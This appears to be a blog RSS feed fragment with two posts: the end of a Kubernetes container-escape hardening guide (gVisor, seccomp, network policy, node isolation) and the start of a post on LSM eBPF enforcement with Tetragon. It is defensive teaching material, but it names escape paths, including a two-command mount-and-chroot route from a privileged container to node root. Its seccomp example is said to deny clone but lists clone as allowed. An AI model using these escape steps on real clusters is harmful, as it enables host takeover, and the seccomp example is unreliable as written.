  -o json | jq -r &#039;.items[] | select(.message | contains(&quot;violates PodSecurity&quot;))&#039;
</code></pre>
<h3 id="fix-2-runtimeclass-hardware-level-isolation-for-untrusted-workloads">Fix 2: RuntimeClass — Hardware-Level Isolation for Untrusted Workloads</h3>
<p>For workloads that cannot run under Restricted profile (CNI plugins, monitoring agents, specific DaemonSets), the alternative is a stronger isolation boundary: a hypervisor-level runtime.</p>
<p>gVisor and Kata Containers intercept system calls at a layer between the container and the Linux kernel, so a container escape exploiting a kernel vulnerability or a privileged mount hits the sandbox boundary, not the host kernel.</p>
<pre><code class="" data-line=""># Define a RuntimeClass for gVisor (runsc)
# Requires gVisor installed on nodes with the runsc runtime handler
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: gvisor
handler: runsc   # must match the handler name in containerd/crio config
scheduling:
  nodeSelector:
    runtime.gvisor: &quot;true&quot;   # only schedule on nodes that have gVisor
---
# Use the RuntimeClass in a pod spec
apiVersion: v1
kind: Pod
metadata:
  name: untrusted-workload
spec:
  runtimeClassName: gvisor   # all syscalls go through gVisor&#039;s sentry
  containers:
    - name: app
      image: untrusted-image:latest
</code></pre>
<pre><code class="" data-line=""># Kata Containers: hardware VM boundary, not just a user-space syscall interceptor
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: kata-containers
handler: kata-qemu
</code></pre>
<blockquote>
<p><strong>For operators:</strong> gVisor and Kata Containers have compatibility trade-offs. Not all syscalls are supported in gVisor (it implements a subset of the Linux ABI). Kata Containers have higher startup latency (VM boot time). Benchmark your specific workload before enforcing these on production-critical pods.</p>
</blockquote>
<h3 id="fix-3-seccomp-profile-block-the-syscalls-that-enable-escape">Fix 3: Seccomp Profile — Block the Syscalls That Enable Escape</h3>
<p>Even without gVisor, a custom seccomp profile that explicitly denies <code class="" data-line="">mount</code>, <code class="" data-line="">unshare</code>, and <code class="" data-line="">clone</code> with namespace flags closes the primary escape syscall surface.</p>
<pre><code class="" data-line="">{
  &quot;defaultAction&quot;: &quot;SCMP_ACT_ERRNO&quot;,
  &quot;architectures&quot;: [&quot;SCMP_ARCH_X86_64&quot;, &quot;SCMP_ARCH_X86&quot;, &quot;SCMP_ARCH_X32&quot;],
  &quot;syscalls&quot;: [
    {
      &quot;names&quot;: [
        &quot;accept&quot;, &quot;accept4&quot;, &quot;access&quot;, &quot;arch_prctl&quot;,
        &quot;bind&quot;, &quot;brk&quot;, &quot;capget&quot;, &quot;capset&quot;,
        &quot;chdir&quot;, &quot;chmod&quot;, &quot;chown&quot;, &quot;clock_gettime&quot;,
        &quot;clone&quot;,
        &quot;close&quot;, &quot;connect&quot;,
        &quot;dup&quot;, &quot;dup2&quot;, &quot;dup3&quot;,
        &quot;execve&quot;, &quot;exit&quot;, &quot;exit_group&quot;,
        &quot;fchmod&quot;, &quot;fchown&quot;, &quot;fcntl&quot;,
        &quot;fstat&quot;, &quot;fstatfs&quot;, &quot;fsync&quot;,
        &quot;futex&quot;, &quot;getcwd&quot;, &quot;getdents64&quot;,
        &quot;getegid&quot;, &quot;geteuid&quot;, &quot;getgid&quot;, &quot;getgroups&quot;,
        &quot;getpeername&quot;, &quot;getpid&quot;, &quot;getppid&quot;,
        &quot;getrlimit&quot;, &quot;getsockname&quot;, &quot;getsockopt&quot;,
        &quot;gettid&quot;, &quot;gettimeofday&quot;, &quot;getuid&quot;,
        &quot;inotify_add_watch&quot;, &quot;inotify_init1&quot;,
        &quot;listen&quot;, &quot;lseek&quot;, &quot;lstat&quot;,
        &quot;madvise&quot;, &quot;mmap&quot;, &quot;mprotect&quot;,
        &quot;munmap&quot;, &quot;nanosleep&quot;,
        &quot;open&quot;, &quot;openat&quot;,
        &quot;pipe&quot;, &quot;pipe2&quot;, &quot;poll&quot;, &quot;ppoll&quot;,
        &quot;prctl&quot;, &quot;pread64&quot;, &quot;pwrite64&quot;,
        &quot;read&quot;, &quot;readlink&quot;, &quot;readv&quot;,
        &quot;recvfrom&quot;, &quot;recvmsg&quot;, &quot;recvmmsg&quot;,
        &quot;rename&quot;, &quot;rt_sigaction&quot;, &quot;rt_sigprocmask&quot;,
        &quot;rt_sigreturn&quot;, &quot;sched_getaffinity&quot;,
        &quot;select&quot;, &quot;sendfile&quot;, &quot;sendmsg&quot;, &quot;sendto&quot;,
        &quot;set_robust_list&quot;, &quot;set_tid_address&quot;,
        &quot;setgid&quot;, &quot;setgroups&quot;, &quot;setuid&quot;,
        &quot;setsockopt&quot;, &quot;shutdown&quot;,
        &quot;socket&quot;, &quot;socketpair&quot;,
        &quot;stat&quot;, &quot;statfs&quot;, &quot;symlink&quot;,
        &quot;tgkill&quot;, &quot;time&quot;, &quot;timerfd_create&quot;,
        &quot;timerfd_settime&quot;, &quot;truncate&quot;,
        &quot;uname&quot;, &quot;unlink&quot;, &quot;unlinkat&quot;,
        &quot;wait4&quot;, &quot;waitid&quot;,
        &quot;write&quot;, &quot;writev&quot;
      ],
      &quot;action&quot;: &quot;SCMP_ACT_ALLOW&quot;
    }
  ]
}
</code></pre>
<p>Apply via pod spec:</p>
<pre><code class="" data-line="">spec:
  securityContext:
    seccompProfile:
      type: Localhost
      localhostProfile: &quot;container-escape-block.json&quot;
      # Profile must be in /var/lib/kubelet/seccomp/ on each node
</code></pre>
<pre><code class="" data-line=""># Distribute the seccomp profile to all nodes via DaemonSet
# Example using a DaemonSet that copies the profile file on startup
# (or use the built-in RuntimeDefault which blocks ~300 dangerous syscalls)

# RuntimeDefault blocks: mount, unshare, clone with new-ns flags,
# add_key, keyctl, request_key, pivot_root — adequate for most workloads
spec:
  securityContext:
    seccompProfile:
      type: RuntimeDefault
</code></pre>
<h3 id="fix-4-network-policy-contain-the-blast-radius-after-escape">Fix 4: Network Policy — Contain the Blast Radius After Escape</h3>
<p>Even if a container escapes to the node, a network policy that prevents the escaped process from reaching the Kubernetes API server limits what the attacker can do with node credentials.</p>
<pre><code class="" data-line=""># Deny all egress from application namespace to Kubernetes API server
# The API server typically runs on port 6443 on the control plane nodes
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: block-api-server-egress
  namespace: production
spec:
  podSelector: {}       # applies to all pods in namespace
  policyTypes:
    - Egress
  egress:
    # Allow DNS
    - ports:
        - protocol: UDP
          port: 53
    # Allow application traffic (customize per workload)
    - to:
        - namespaceSelector:
            matchLabels:
              kubernetes.io/metadata.name: production
    # Explicitly: no rule allowing egress to control plane CIDR
    # This is a deny-by-absence — egress to control plane falls through to default deny
</code></pre>
<pre><code class="" data-line=""># Also block pod-to-pod communication across namespaces
# to prevent an escaped pod from pivoting to other workloads
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-all
  namespace: production
spec:
  podSelector: {}
  policyTypes:
    - Ingress
    - Egress
  # No ingress or egress rules = deny all
  # Add specific rules above this as needed
</code></pre>
<h3 id="fix-5-node-isolation-co-location-risk">Fix 5: Node Isolation — Co-location Risk</h3>
<p>An internet-facing pod and a pod with access to sensitive internal services should not share a node. If the internet-facing pod escapes, it reaches the node&#8217;s credentials and can pivot to anything else scheduled on that node.</p>
<pre><code class="" data-line=""># Use node selectors, taints, and tolerations to separate workload tiers

# Taint sensitive nodes so only specific workloads schedule there
kubectl taint nodes sensitive-node-1 workload-tier=sensitive:NoSchedule

# Internet-facing pods: dedicated public-tier nodes
# Internal/privileged pods: dedicated sensitive-tier nodes

# Pod spec for internet-facing workload — only schedules on public nodes
spec:
  nodeSelector:
    workload-tier: public
  tolerations: []   # No toleration for sensitive node taint

# Pod spec for sensitive workload — only schedules on sensitive nodes
spec:
  nodeSelector:
    workload-tier: sensitive
  tolerations:
    - key: workload-tier
      operator: Equal
      value: sensitive
      effect: NoSchedule
</code></pre>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Legitimate workloads that require &#8211;privileged or hostPID.</strong> CNI plugins (Cilium, Calico, Flannel node agents), node-local-dns, monitoring agents (node exporters, eBPF-based agents like Tetragon itself), and storage drivers often need elevated access. Blanket enforcement of Restricted profile without exceptions breaks these workloads. The approach: enforce Restricted on application namespaces; use a dedicated namespace for infrastructure DaemonSets with the Baseline or Privileged policy and compensate with Falco detection and node isolation.</p>
<p><strong>Seccomp Restricted blocks some monitoring agents.</strong> The default Restricted seccomp profile blocks several syscalls that APM agents and profiling tools use. Run <code class="" data-line="">strace -c -f ./your-agent</code> to capture the syscall profile of your monitoring agent before enforcing Restricted. Common culprits: <code class="" data-line="">perf_event_open</code> (used by profilers), <code class="" data-line="">ptrace</code> (used by some debuggers), <code class="" data-line="">bpf</code> (used by eBPF-based tools). Add these to an allowlist seccomp profile rather than running the agent without any profile.</p>
<p><strong>runc CVEs require node patching, not policy.</strong> PodSecurity admission and Falco rules protect against configuration-based escapes. A vulnerability in runc, containerd, or the Linux kernel itself bypasses policy-based controls entirely. Keep container runtime versions current; enable automatic node OS patching (Bottlerocket, Flatcar Linux) if your infrastructure allows it. Subscribe to CVE feeds for containerd (<code class="" data-line="">containerd/containerd</code>) and runc (<code class="" data-line="">opencontainers/runc</code>) specifically.</p>
<p><strong>hostPath volumes are a partial equivalent to &#8211;privileged.</strong> A pod without <code class="" data-line="">--privileged</code> but with a hostPath volume mounting <code class="" data-line="">/etc</code> or <code class="" data-line="">/var/lib/kubelet</code> can read node credentials without needing to mount a block device. PodSecurity Restricted blocks hostPath entirely; Baseline allows it. Audit for hostPath volumes separately from <code class="" data-line="">--privileged</code>.</p>
<p><strong>RuntimeClass with gVisor has syscall compatibility gaps.</strong> Applications that use <code class="" data-line="">io_uring</code>, certain socket options, or kernel modules will not work under gVisor&#8217;s sentry. Test in staging before deploying to production. The gVisor compatibility matrix is documented at gvisor.dev/docs/user_guide/compatibility — check it for any application that does direct filesystem I/O at high volume (databases, high-throughput queues) as the overhead may be unacceptable even if the syscalls are supported.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Escape Path</th>
<th>Precondition</th>
<th>Detection Signal</th>
<th>Structural Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td>Privileged container → mount</td>
<td><code class="" data-line="">privileged: true</code></td>
<td>Falco: mount syscall from container; Tetragon: sys_mount kprobe</td>
<td>PodSecurity Restricted enforce; seccomp blocks mount</td>
</tr>
<tr>
<td>hostPID + nsenter</td>
<td><code class="" data-line="">hostPID: true</code></td>
<td>Falco: nsenter exec in container; audit log: pod creation with hostPID</td>
<td>PodSecurity Restricted; blocks hostPID</td>
</tr>
<tr>
<td>hostNetwork + IMDS</td>
<td><code class="" data-line="">hostNetwork: true</code></td>
<td>CloudTrail: IMDSv1 call from unexpected source</td>
<td>Enforce IMDSv2 hop limit 1; PodSecurity Restricted</td>
</tr>
<tr>
<td>runc CVE (CVE-2019-5736)</td>
<td>Unpatched runc</td>
<td>Tetragon: vfs_write to /proc/self/exe</td>
<td>Patch runc/containerd; use RuntimeClass (gVisor)</td>
</tr>
<tr>
<td>hostPath volume mount</td>
<td>hostPath to sensitive path</td>
<td>Falco: sensitive host file access; PodSecurity audit</td>
<td>PodSecurity Restricted (blocks hostPath)</td>
</tr>
<tr>
<td>Escaped → API server</td>
<td>Node credential access</td>
<td>Audit log: API calls from node IP at unexpected time</td>
<td>Network policy blocking node→API server egress</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li><strong>Kubernetes container escape</strong> starts at the kernel: <code class="" data-line="">--privileged</code>, <code class="" data-line="">hostPID</code>, and <code class="" data-line="">hostNetwork</code> remove Linux namespace and cgroup isolation — the Kubernetes API cannot prevent what happens inside a process that runs with those flags</li>
<li>Two commands from privileged container to root on the node: <code class="" data-line="">mount /dev/sda1 /mnt/host</code> and <code class="" data-line="">chroot /mnt/host /bin/bash</code> — this is not a sophisticated exploit, it is a default kernel behavior</li>
<li>eBPF detection (Falco, Tetragon) operates at the syscall level and catches the escape in progress; Kubernetes audit logs only catch the misconfigured pod creation, not the exploitation</li>
<li>PodSecurity Restricted enforcement at the namespace level is the structural fix for configuration-based escapes — it blocks <code class="" data-line="">--privileged</code>, <code class="" data-line="">hostPID</code>, <code class="" data-line="">hostNetwork</code>, and hostPath volumes before a pod schedules</li>
<li>runc-class CVEs are independent of configuration — node-level patching and RuntimeClass (gVisor/Kata) isolation are the controls, not policy enforcement</li>
<li>Network policy as a secondary layer limits post-escape lateral movement: a container that escapes to the node should not be able to reach the API server with stolen node credentials</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>Container escape requires access to a running pod. But what if the attacker didn&#8217;t need to exploit anything at runtime — they shipped the attack as a dependency your build pipeline trusted? EP09 covers supply chain attacks from SolarWinds to XZ Utils: how a malicious package or a compromised build step becomes arbitrary code execution before the container ever runs, the detection patterns that are specific to supply chain compromise (dependency confusion, typosquatting, malicious maintainer takeovers), and the SLSA framework controls that create a verifiable chain of custody from source to deployed artifact.</p>
<p>Get EP09 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&#038;title=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" data-a2a-url="https://linuxcent.com/kubernetes-container-escape-attack-paths/" data-a2a-title="Kubernetes Container Escape: Attack Paths and eBPF Detection"></a></p><p>The post <a href="https://linuxcent.com/kubernetes-container-escape-attack-paths/">Kubernetes Container Escape: Attack Paths and eBPF Detection</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/kubernetes-container-escape-attack-paths/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1864</post-id>	</item>
		<item>
		<title>LSM and Tetragon — When the Kernel Says No</title>
		<link>https://linuxcent.com/ebpf-lsm-tetragon-runtime-security/</link>
					<comments>https://linuxcent.com/ebpf-lsm-tetragon-runtime-security/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Fri, 12 Jun 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[eBPF]]></category>
		<category><![CDATA[Cilium]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<category><![CDATA[linux-security]]></category>
		<category><![CDATA[LSM]]></category>
		<category><![CDATA[Runtime Security]]></category>
		<category><![CDATA[SRE]]></category>
		<category><![CDATA[Tetragon]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1841</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 8</span> <span class="rt-label rt-postfix">minutes</span></span>LSM eBPF Tetragon hooks enforce policy at the syscall boundary before it completes — how Tetragon kills processes from kernel space, and why that matters.</p>
<p>The post <a href="https://linuxcent.com/ebpf-lsm-tetragon-runtime-security/">LSM and Tetragon — When the Kernel Says No</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 8</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>eBPF: From Kernel to Cloud, Episode 12</em><br />
<a href="/what-is-ebpf-linux-kubernetes/">What Is eBPF?</a> · <a href="/bpf-verifier-kubernetes-safety/">The BPF Verifier</a> · <a href="/ebpf-vs-kernel-modules-kubernetes/">eBPF vs Kernel Modules</a> · <a href="/ebpf-program-types-kubernetes/">eBPF Program Types</a> · <a href="/ebpf-maps-explained/">eBPF Maps</a> · <a href="/ebpf-co-re-libbpf-portable-programs/">CO-RE and libbpf</a> · <a href="/ebpf-xdp-kubernetes-networking/">XDP</a> · <a href="/tc-ebpf-kubernetes-network-policy/">TC eBPF</a> · <a href="/bpftrace-kernel-observability/">bpftrace</a> · <a href="/ebpf-network-flow-observability/">Network Flow Observability</a> · <a href="/ebpf-dns-observability-kubernetes/">DNS Observability</a> · <strong>LSM and Tetragon</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>LSM eBPF Tetragon integrates Linux Security Module hooks with eBPF programs — enforcement happens at the syscall boundary, before the operation completes, with no detect-and-respond window<br />
  <em>(LSM hook = Linux Security Module hook: a callback point built into the kernel that fires before a security-relevant operation completes, allowing the security module to approve or reject it)</em></li>
<li>Falco and similar sidecar-based tools detect after the fact — the syscall returns, the file is written, the connection is established, the alert fires; with LSM, the syscall never returns success</li>
<li><code class="" data-line="">BPF_PROG_TYPE_LSM</code> is the eBPF program type that attaches to LSM hooks — introduced in kernel 5.7, stable in 5.10+; available on all current Ubuntu LTS, Fedora, and EKS/GKE nodes</li>
<li>Tetragon attaches eBPF programs to LSM hooks and kprobes simultaneously — observing and enforcing from the same kernel attachment point</li>
<li>Tetragon&#8217;s enforcement sends <code class="" data-line="">SIGKILL</code> from within the kernel context — not from a userspace agent reading an audit log and then killing the process</li>
<li>Production caution: LSM enforce mode without thorough policy testing in audit mode first will kill legitimate workloads; always audit before enforce</li>
</ul>
<hr />
<p>EP11 showed how to observe DNS queries at the kernel level — seeing what a workload resolves before it establishes a connection. But observation is passive. It tells you what happened. LSM eBPF Tetragon changes the question entirely: instead of watching the workload, the kernel refuses the operation. This episode covers how that enforcement layer works and why the difference between &#8220;detect&#8221; and &#8220;prevent&#8221; matters in runtime security.</p>
<h2 id="quick-check-is-your-cluster-running-lsm-based-enforcement">Quick Check: Is Your Cluster Running LSM-Based Enforcement?</h2>
<pre><code class="" data-line=""># On any cluster node — what security modules are active?
cat /sys/kernel/security/lsm

# Expected output on a modern kernel:
# lockdown,capability,landlock,yama,apparmor,bpf
#                                              ^^^
#                            &quot;bpf&quot; here means BPF LSM is enabled
</code></pre>
<pre><code class="" data-line=""># Is Tetragon running on this cluster?
kubectl get pods -n kube-system -l app.kubernetes.io/name=tetragon

# If Tetragon is present, check what TracingPolicies are enforcing:
kubectl get tracingpolicies -A

# Sample output:
# NAMESPACE    NAME                      AGE
# kube-system  block-privileged-exec     3d
# kube-system  restrict-sensitive-paths  3d
</code></pre>
<pre><code class="" data-line=""># See what eBPF programs Tetragon has loaded
bpftool prog list | grep -i tetragon

# Output sample:
# 89: lsm  name tetragon_lsm_bprm  tag 8f2a1c3e4d5b7a9f  gpl
#     loaded_at 2026-04-22T09:13:45+0530  uid 0
#     xlated 3312B  jited 2184B  memlock 8192B
# 91: kprobe  name tetragon_kp_exec tag 3c1d8e2f7a4b5c9d  gpl
</code></pre>
<p><code class="" data-line="">lsm</code> program type confirms LSM hook attachment. If you see <code class="" data-line="">tetragon_lsm_*</code> entries, Tetragon is enforcing at the kernel level on this node.</p>
<blockquote>
<p><strong>Not running Tetragon?</strong> Check if your cluster uses AppArmor or seccomp profiles instead — <code class="" data-line="">kubectl get pod &lt;name&gt; -o jsonpath=&#039;{.metadata.annotations}&#039;</code> and look for <code class="" data-line="">seccomp.security.alpha.kubernetes.io</code> or <code class="" data-line="">container.apparmor.security.beta.kubernetes.io</code> annotations. These are userspace-applied profiles that the kernel enforces. Tetragon is additive — it can run alongside AppArmor/seccomp and provides per-process, dynamic policy that static profiles cannot.</p>
</blockquote>
<hr />
<p>Falco fired at 03:14 AM. The alert: a process inside a production container had opened <code class="" data-line="">/etc/passwd</code> for writing. By the time I was on the call, the container had been restarted by a health check failure — the compromised process had already exited. The file had already been modified. Falco had detected the open, emitted the alert, and by the time any automated response could have acted, the syscall had returned, the write had completed, and the file was changed.</p>
<p>Falco did exactly what it&#8217;s designed to do: observe and alert. The gap isn&#8217;t in Falco — it&#8217;s in the architecture. When a tool detects from userspace by reading kernel audit events, there is always a window between the operation completing and the alert firing. For a fast exploit, that window is the entire attack.</p>
<p>I added a Tetragon TracingPolicy the following week:</p>
<pre><code class="" data-line="">spec:
  kprobes:
    - call: &quot;security_inode_permission&quot;
      syscall: false
      return: false
      args:
        - index: 0
          type: &quot;inode&quot;
      selectors:
        - matchArgs:
            - index: 0
              operator: &quot;Prefix&quot;
              values: [&quot;/etc/passwd&quot;, &quot;/etc/shadow&quot;]
          matchActions:
            - action: Sigkill
</code></pre>
<p>Next time a process tries to open <code class="" data-line="">/etc/passwd</code> for writing in a container covered by that policy, the kernel sends <code class="" data-line="">SIGKILL</code> from within the LSM hook. The open never completes. There is no window.</p>
<hr />
<h2 id="how-lsm-hooks-are-placed-in-the-kernel">How LSM Hooks Are Placed in the Kernel</h2>
<p>Linux Security Modules (LSM) is a framework built into the Linux kernel that inserts hook points before security-sensitive operations. The hook fires before the operation is allowed to complete — the LSM module can return an error code that causes the kernel to reject the operation and return <code class="" data-line="">-EPERM</code> to the calling process.</p>
<pre><code class="" data-line="">Process calls open(&quot;/etc/passwd&quot;, O_WRONLY)
      ↓
VFS (Virtual Filesystem) layer receives the request
      ↓
VFS calls security_inode_permission()   ← LSM hook fires here
      ↓
LSM module checks policy
      ↓
      ├── ALLOW → open() proceeds, file descriptor returned
      └── DENY  → open() returns -EPERM, process gets &quot;Permission denied&quot;
                  File is never touched
</code></pre>
<blockquote>
<p><strong><code class="" data-line="">LSM hook</code></strong> — a callback point embedded in Linux kernel source at every security-sensitive operation: file open, execute, socket connect, capability check, mount, ptrace, and more. The kernel calls registered LSM modules at each hook. Before BPF LSM (kernel 5.7), only statically compiled security modules (SELinux, AppArmor, BPF LSM itself) could register at these hooks.</p>
<p><strong><code class="" data-line="">BPF_PROG_TYPE_LSM</code></strong> — the eBPF program type that attaches to LSM hooks. Introduced in kernel 5.7. Requires BPF LSM to be enabled in the kernel (<code class="" data-line="">lsm=bpf</code> in kernel command line, or present alongside other LSMs). When this program type is loaded and attached to an LSM hook, the eBPF program runs at the hook point and returns 0 (allow) or a negative error code (deny).</p>
</blockquote>
<p>The full list of LSM hooks:</p>
<pre><code class="" data-line=""># All LSM hook points available for eBPF attachment
bpftool feature list | grep lsm_hook | head -20

# Or browse the kernel source list:
# include/linux/security.h — every security_*() function is an LSM hook point
</code></pre>
<p>There are 200+ LSM hook points. The most operationally relevant for container security:</p>
<table>
<thead>
<tr>
<th>LSM Hook</th>
<th>What it guards</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="" data-line="">security_bprm_check</code></td>
<td>Process execution (execve)</td>
</tr>
<tr>
<td><code class="" data-line="">security_inode_permission</code></td>
<td>File read/write/execute</td>
</tr>
<tr>
<td><code class="" data-line="">security_inode_create</code></td>
<td>File creation</td>
</tr>
<tr>
<td><code class="" data-line="">security_socket_connect</code></td>
<td>Outbound TCP/UDP connect</td>
</tr>
<tr>
<td><code class="" data-line="">security_socket_bind</code></td>
<td>Port binding</td>
</tr>
<tr>
<td><code class="" data-line="">security_ptrace_access_check</code></td>
<td>ptrace (debugger attach)</td>
</tr>
<tr>
<td><code class="" data-line="">security_capable</code></td>
<td>Capability checks (CAP_SYS_ADMIN etc.)</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="how-tetragon-combines-lsm-and-kprobe">How Tetragon Combines LSM and kprobe</h2>
<p>Tetragon attaches two types of programs simultaneously for comprehensive runtime security:</p>
<pre><code class="" data-line="">kprobe programs          LSM programs
(observation layer)      (enforcement layer)
       │                        │
       ↓                        ↓
Process executes              Kernel LSM hook fires
kernel function               BEFORE operation completes
       │                        │
       ↓                        ↓
Tetragon reads context:       Tetragon checks TracingPolicy:
  - process name                - selectors match?
  - PID, UID                    - action = Sigkill?
  - namespace, pod name         │
  - parent process              ↓
  - capabilities                SIGKILL sent from kernel context
       │                        Process terminated
       ↓                        Operation never completes
Tetragon exports event
  to userspace observer
</code></pre>
<p>The kprobe side provides the rich context (pod name, namespace, process tree) because it has access to Kubernetes metadata that Tetragon&#8217;s userspace component has pre-populated into maps. The LSM side provides the enforcement capability. Together, they give you context-aware kernel enforcement.</p>
<blockquote>
